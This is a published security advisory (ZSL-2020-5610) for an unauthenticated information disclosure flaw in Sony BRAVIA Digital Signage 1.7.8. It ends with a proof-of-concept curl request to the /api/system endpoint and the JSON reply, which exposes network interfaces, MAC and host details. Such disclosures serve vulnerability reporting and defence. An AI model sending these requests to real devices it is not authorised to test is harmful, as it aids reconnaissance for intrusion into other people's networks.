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52 lines
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2 KiB
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# Exploit Title: Sony BRAVIA Digital Signage 1.7.8 - System API Information Disclosure
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# Date: 20.09.2020
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# Exploit Author: LiquidWorm
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# Vendor Homepage: https://pro-bravia.sony.net
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# Version: 1.7.8
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Sony BRAVIA Digital Signage 1.7.8 System API Information Disclosure
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Vendor: Sony Electronics Inc.
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Product web page: https://pro-bravia.sony.net
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https://pro-bravia.sony.net/resources/software/bravia-signage/
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https://pro.sony/ue_US/products/display-software
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Affected version: <=1.7.8
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Summary: Sony's BRAVIA Signage is an application to deliver
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video and still images to Pro BRAVIAs and manage the information
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via a network. Features include management of displays, power
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schedule management, content playlists, scheduled delivery
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management, content interrupt, and more. This cost-effective
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digital signage management solution is ideal for presenting
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attractive, informative visual content in retail spaces and
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hotel reception areas, visitor attractions, educational and
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corporate environments.
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Desc: The application is vulnerable to sensitive information
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disclosure vulnerability. An unauthenticated attacker can
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visit several API endpoints and disclose information running
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on the device.
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Tested on: Microsoft Windows Server 2012 R2
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Ubuntu
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NodeJS
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Express
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
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@zeroscience
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Advisory ID: ZSL-2020-5610
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Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5610.php
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20.09.2020
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--
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$ curl http://192.168.1.20:8080/api/system
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{"__v":0,"_id":"5fa1d6ed9446da0b002d678f","version":"1.7.8","contentsServer":{"url":"http://192.168.1.21/joxy/"},"networkInterfaces":{"lo":[{"address":"127.0.0.1","netmask":"255.0.0.0","family":"IPv4","mac":"00:00:00:00:00:00","internal":true}],"eth0":[{"address":"192.168.1.20","netmask":"255.255.255.0","family":"IPv4","mac":"ZE:R0:SC:13:NC:30","internal":false}]},"serverTime":"2020-12-01T20:13:41.069+01:00","os":"Synology","hostIp":"192.168.1.21"} |